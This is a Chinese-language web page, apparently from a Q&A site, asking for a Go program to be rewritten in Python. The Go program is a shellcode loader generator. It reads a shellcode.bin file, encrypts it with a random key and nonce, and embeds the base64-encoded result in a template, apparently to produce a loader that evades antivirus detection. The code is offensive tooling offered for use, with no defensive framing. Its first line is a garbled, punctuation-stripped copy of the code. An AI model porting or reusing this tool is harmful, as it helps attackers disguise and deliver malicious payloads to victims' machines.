用python重写下面的go代码func main if lenosArgs 2 printlngld shellcodebin x64x86 return f = osArgs1 raw err = ioutilReadFilef if err != nil println! + errError return key = makebyte 32 nonce = makeb
import ( "encoding/base64" "fmt" "io/ioutil" "math/rand" "os" "github.com/example/util" )
func main() { if len(os.Args) < 2 { println("./gld shellcode.bin [x64/x86]") return }
f := os.Args[1]
raw, err := ioutil.ReadFile(f)
if err != nil {
println("[!] " + err.Error())
return
}
key := make([]byte, 32)
nonce := make([]byte, 12)
rand.Read(key)
rand.Read(nonce)
raw = util.E(raw, key, nonce)
err = ioutil.WriteFile(
TEMP,
[]byte(fmt.Sprintf(
template,
base64.StdEncoding.EncodeToString(key),
base64.StdEncoding.EncodeToString(nonce),
base64.StdEncoding.EncodeToString(raw)),
),
0777,
)
if err != nil {
println("[!] Generate fail: " + err.Error())
return
}
println("[*] Generate template")
}
原文地址: https://www.cveoy.top/t/topic/ZAG 著作权归作者所有。请勿转载和采集!